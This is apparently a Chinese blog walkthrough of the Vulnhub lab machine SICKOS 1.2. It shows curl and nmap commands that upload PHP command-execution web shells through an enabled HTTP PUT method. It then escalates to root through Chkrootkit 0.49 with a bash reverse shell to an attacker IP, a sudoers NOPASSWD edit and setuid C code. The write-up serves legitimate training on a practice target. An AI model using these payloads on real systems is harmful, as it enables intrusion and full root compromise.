• Vulnhub-靶机-SICKOS: 1.2


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现;

    地址:https://www.vulnhub.com/entry/sickos-12,144/

    sudo nmap -Pn -p- -n -sC -sV -T5 -oN sickos.nmap 192.168.202.13

    nmap扫描结果

    就开放了两个端口,先访问下web应用

    常规套路,爆破下目录

     发现了个test地址,访问看看

    看到了一个版本lighttpd/1.4.28 搜搜了相关可能存在漏洞的exp

    但是上面搜索出来的信息对应版本号只有1.4.x可能符合,但是实际测试并未成功,使用nikto扫描下

    未发现什么有用的信息,这里是要根据经验来判断的,发现刚才上述出现的test目录访问的现象,猜测判断是否存在PUT上传漏洞,使用curl探测下

    上述也是可以使用nc来探测是否能够使用PUT方法,确认可以通过PUT直接上传文件,这里本想列举下所有通过PUT上传的姿势总结,但是已经大佬写过了,那我就不班门弄斧了,下面是参考链接:

    https://www.yeahhub.com/http-put-method-exploitation-live-penetration-testing/

    https://zhuanlan.zhihu.com/p/41454441

    https://wh0ale.github.io/2018/12/23/2018-12-23-%E5%88%A9%E7%94%A8PUT%E6%96%B9%E6%B3%95%E7%9A%84%E5%A4%9A%E7%A7%8D%E6%96%B9%E6%B3%95/

    通过burpsuite使用PUT方法上传

    正常请求

    更改为PUT请求上传文件

    上传成功

    测试执行命令

    通过nmap使用PUT方法上传

    nmap -p 80 192.168.202.13 --script http-put --script-args http-put.url='/test/bmapbmfx.php',http-put.file='/home/kali/Downloads/sickos/cadavers.php'

    效果

    通过curl命令使用PUT方法上传

    curl --upload-file bmfx.php -v --url http://192.168.202.13/test/bmfx4.php -0 --http1.0
    curl -i -X PUT -H "Content-Type: text/plain; charset=utf-8" -d '<?php system($_GET["cmd"]); ?>' http://192.168.202.13/test/bmfxshit.php
    curl -X PUT -d '<?php system($_GET["cmd"]);' http://192.168.202.13/test/bmfx1.php
    curl -X PUT -d '<?php system($_GET["cmd"]); ?>' http://192.168.202.13/test/cmd2.php
    curl -v -H 'Expect:' -T bmfx.php "http://192.168.202.13/test/"

    使用上述命令种的一种方式都可成功,已经测试过,上述都成功了,就可以开始提权了,我这靶机不是什么原因,都是对的,反弹shell不成功,索性我上传了个webshell,进行操作了

    然后翻看网站根目录和目标靶机的系统版本,发现系统版本还是Ubuntu 12.04 ,提权漏洞就很多了,看看计划任务,发现了 Chkrootkit

    确认版本是0.49 丢到谷歌搜索下,得到提权exp https://www.exploit-db.com/exploits/33899

    上述设置了很多种端口,反弹shell都不成功,后台网上看到,说设置成本地监听8080端口才能成功,猜想目标靶机设置了防火墙拒绝了很多大部分反弹外联的端口,这里设置本地监听8080端口成功反弹shell

    开始提权,根据exp的描述是目标靶机的Chkrootkit会周期性以root身份执行目录/tmp/update的文件,所以如果没有这个文件就创建

    提权方式一:

    printf '#!/bin/bash
    bash -i >& /dev/tcp/192.168.202.6/8080 0>&1
    ' > /tmp/update

    本地监听8080端口,等待反弹shell

    提权方法二:

    追加当前反弹shell用户至sudoer进行提权

    echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers' > /tmp/update

    提权方法三:

    不演示,之前靶机有演示过类似的,具体C代码如下:

    #include<unistd.h>
    void main(void)
    {
    system("chown root:root /tmp/update");
    system("chmod 4755 /tmp/update");
    setuid(0);
    setgid(0);
    execl("/bin/sh","sh",NULL);
    }

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    SPSS分类分析:决策树
    单例设计模式
    设计模式
    java.lang.NoClassDefFoundError: org/apache/zookeeper/proto/SetWatches
    AngularJs中Uncaught Error: [$injector:modulerr] http://errors.angularjs.org/1.3.15/
    如何在linux环境下配置环境变量
    MQ的面试题
    VUE框架
    SQL中and和or的区别是?
    Git的工作流程
  • 原文地址:https://www.cnblogs.com/autopwn/p/13859804.html
Copyright © 2020-2023  润新知